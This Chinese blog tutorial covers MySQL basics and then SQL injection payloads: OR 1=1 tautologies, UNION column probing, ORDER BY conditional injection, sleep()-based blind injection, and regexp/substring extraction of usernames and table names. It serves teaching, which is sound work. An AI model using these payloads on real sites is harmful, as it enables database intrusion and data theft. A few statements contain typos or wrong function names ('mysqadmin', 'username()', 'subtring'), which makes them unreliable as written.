SQL注入原理(基本语句/高级查询/高级注入/Mysql账号密码修改)

        SQL注入 (Structured Query Language lnjection)技术在国外最早出现在1999年,我国在2002年后开始大量出现,目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述:脚本注入式的攻击、恶意用户输入用来影响被执行的SQL脚本SQL注入,就是攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询宇符串,最终达到让后台数据库执行恶意的SQL命令的目的,并根据程序返回的结果,获得某些攻击者想得知的数据。所谓SQL注入,就是通过把恶意的SQL命令注入到正常http请求或其他有进行数据库交互的参数中进行提交,最终操纵数据库服务器执行非授权SQL命令的攻击行为。

       在进行SQL注入学习前,建议大家去看一下我之前整理的一篇Mysql基本语句操作及命令,还有对数据库的基本结构进行一定的了解。

        SQL注入的方式有很多,本内容呈现部分方式。以下的一些内容主要是如何实现SQL注入的高级语句学习及应用,大家应学会去自主理解语句的结构与逻辑函数,在练习应用中融会贯通,懂得应变,不建议大家去死记所有代码,懂得其原理与方法逻辑,学会判别才是最重要的,多加练习才是最好的方式。

先简单带大家熟悉一下Mysql的一些基本操作:

一.用户的创建/密码/权限管理(create/alter/set/grant/revoke)

1.用户创建/权限管理
=================================================================================================
# 使用CREATE USER创建
# CREATE USER 'username'@'host' IDENTIFIED BY 'password';
-------------------------------------------------------------------------------------------------
# 创建用户使用“%”允许通过任何主机连接
# CREATE USER 'newuser'@'%' IDENTIFIED BY 'mypassword';
=================================================================================================


2.密码修改
=================================================================================================
# 使用ALTER
# ALTER USER 'username'@'host' IDENTIFIED BY 'new_password';
# FLUSH PRIVILEGES;
-------------------------------------------------------------------------------------------------
# 使用SET语句修改密码
# SET PASSWORD FOR 'username'@'host' = 'new_password';
# FLUSH PRIVILEGES;
-------------------------------------------------------------------------------------------------
# 直接mysql环境外修改
# mysqadmin -u username -p old_password password new_password
=================================================================================================


3.权限管理(增/删/查)
=================================================================================================
# 查看用户权限
# show grants for aplexia@host\G;
-------------------------------------------------------------------------------------------------
# 增加权限
# GRANT SELECT,INSERT,DELETE ON *.* TO aplexia@host;
-------------------------------------------------------------------------------------------------
# 取消权限
# REVOKE DELETE ON *.* FROM aplexia@host;
=================================================================================================

 二.Mysql数据库相关信息查看

4.查看版本号
=================================================================================================
# select version(),current_date;
=================================================================================================

5.查看日志文件
=================================================================================================
# show variables like "%log";
=================================================================================================

6.查看用户/密码/主机
=================================================================================================
# select user,password,host from mysql.user;
=================================================================================================

三.表内外结构的增/删/改(基础操作必须掌握,不清楚的小伙伴可查看之前的文章学习)

7.增(CREATE/INSERT)
=================================================================================================
# insert into role(roleid,rolename) values('1','manager');
=================================================================================================

8.删除(delete/drop)
=================================================================================================
# 删除表
# drop table exams;
-------------------------------------------------------------------------------------------------
# 快速删除表
# truncate papers;
-------------------------------------------------------------------------------------------------
# delete from users where roleid=1;
=================================================================================================
#移动表
# RENAME TABLE mysql.agroup TO agroup_account.agroup;
=================================================================================================
9.修改(update/alter)
=================================================================================================
# 修改表名字
# alter table old_tablename rename new_tablename;
-------------------------------------------------------------------------------------------------
# 修改表结构
# alter table tablename modify name varchar(20);
# alter table tablename change name new name varchar(20);
# alter table tablename add new_word type_word after name;
-------------------------------------------------------------------------------------------------
# 将password字段全部更改为123456
# update user set password=123456;
# update user set password=111 where roleid=1;
=================================================================================================

四.数据库/表的查看与筛选

10.查(show/desc/select)
=================================================================================================
# 查看表结构
# desc tablename/G;

# 查看所有表
# show tables;
-------------------------------------------------------------------------------------------------
# 查看表内容,限制在1-2条
# select * from user limit 1,2;

# 查看表内容,限制在前5条
# select * from user limit 5;

# 查询指定字段
# select word_1,word_2 from table_name;

# 查询所有数据
# select * from table_name;

# 指定条件
# select * from table_name where word_1=option_word;

# 多个条件
# select * from table_name where word_1>100;
=================================================================================================

五.数据库的查找排序法(order by)

11.排序(order by)
=================================================================================================
# 根据字段排序
# select * from user order by word_1;

# 根据第一个字段进行排序
# select * from user order by 1;

# 根据第二个字段排序
# select * from user order by 2;
=================================================================================================

六.联合查询(union)

12.联合查询(union)
=================================================================================================
# 将两个具有相同字段数量的查询语句的结果,以“上下堆叠”的方式合并为一个查询结果
# select roleid,username from user
    -> union 
    -> select roleid,rolename from role;

# 两个select语句的查询结果字段数必须一致
# 通常字段类型具有一致性

# 使用distinct “自动消除重复行”
# 使用all 允许显示重复行
=================================================================================================

七.进阶SQL语句注入,接下来的语句大家要掌握其基本格式与逻辑,以及可使用的各类函数即可

=================================================================================================
# select * from user where roleid='1';
# select * from user where roleid='1' or '1'='1'; //为真,返回all
# select * from user where roleid='1' or '1'='2'; //为假,返回roleid='1'
# select * from user where roleid='1' order by 6; //判断SQL语句输出列数
# select roleid,username,major from user order by 1; //根据所选择字段的第一个字段进行分类排序
-------------------------------------------------------------------------------------------------
# select database(); //查询当前数据库名
# select version(); //查询当前数据库版本信息
# select user(); //查询当前用户
# select @@version_compile_os; //查询当前主机系统
=================================================================================================

八.联合注入(union)

14.联合查询猜字段
=================================================================================================
# select * from user where username='222' union select 1,2,3,4,5,6,7; //可以知道一共有7个字段
=============================================================


15.联合查询数据库信息
=================================================================================================
# select userid,roleid,username from user where username='222' union select database(),version(),user();
# select userid,roleid,username,password from user where username='222' union select database(),version(),user(),@@version_compile_os;
=================================================================================================

九.order by嵌入条件注入

16.order by注入
=================================================================================================
# select * from user order by 1;
# select * from user order by 2;
# select * from user order by 3; //通过此返回值可判断表中字段数量
=================================================================================================


17.order by嵌入条件语句
=================================================================================================
# 如果1=1成立,则返回依据name返回
# select * from user order by IF(1=2,roleid,username);

# 如果1=2不成立则根据username返回
# select * from user order by IF(1=2,roleid,username);
-------------------------------------------------------------------------------------------------
# select * from user order by IFNULL(NULL,roleid);
# select * from user order by IFNULL(NULL,username);
-------------------------------------------------------------------------------------------------
# 如果1=1成立,则依据第一个字段返回
# select * from user order by IF(1=1,1,(select 1 union select 2));
# 如果1=2不成立,则返回(select 1 union select 2),返回错误
# select * from user order by IF(1=2,1,(select 1 union select 2));
-------------------------------------------------------------------------------------------------
# select * from user order by(select 1 regexp if(1=1,1,0x00)); //返回值
# select * from user order by(select 1 regexp if(1=2,1,0x00)); //返回错误
# select * from user order by(select 1 regexp if(1=1,1,0));
=================================================================================================

十.基于时间的注入

18.基于时间的盲注
=================================================================================================
# select * from user order by if(1=1,1,sleep(2)); //1=1成立,返回值1
# select * from user order by if(1=2,1,sleep(2)); //1=2不成立,执行slepp(2),此时可以明显看到返回延迟
=================================================================================================

十一.Regexp函数(正则表达式)

19.regexp函数(正则表达式运用)
=================================================================================================
# select 1 regexp 1; //此时为真返回1
# select 1 regexp 0; //此时为假返回0
# select 1 regexp 4; //此时为假返回0
# select 1 regexp 5; //此时为假返回0

# 可以看出仅有都为1才会输出1
=================================================================================================

十二.数据猜解

20.数据猜解
=================================================================================================
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)='o',1,0x00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)='e',1,0x00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)='q',1,0x00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)='r',1,0x00));

# 对用户名进行分割,从第一位开始取1位对‘o’进行比较,相同则成立,字母暴力猜解,得到用户名
=================================================================================================

十三.获取当前数据库表

21.当前数据库下的所有表
=================================================================================================
# 列举出当前数据库下的第一个表
# select table_name from information_schema.tables where table_schema=database() limit 0,1; 

# 列举出当前数据库下的第二个表
# select table_name from information_schema.tables where table_schema=database() limit 0,2;
=================================================================================================

十四.猜解数据库表名

22.猜解数据库表名
=================================================================================================
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='r',1,0x00));

# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s',1,0x00));

# 重复上面步骤可以同样的方式对数据库名进行暴力破解

# select name from student order by(select 1 regexp if(subtring((select column_name from information_schema.columns where table_schema=database() and table_name='student' limit 0,1),1,1)='i',1,0x00));
=================================================================================================

以上内容大家可多加练习慢慢深入,网上也有一些工具可以帮助大家实现自动化SQL注入,burpsuite,Sqlmap等。

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ApLinuxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值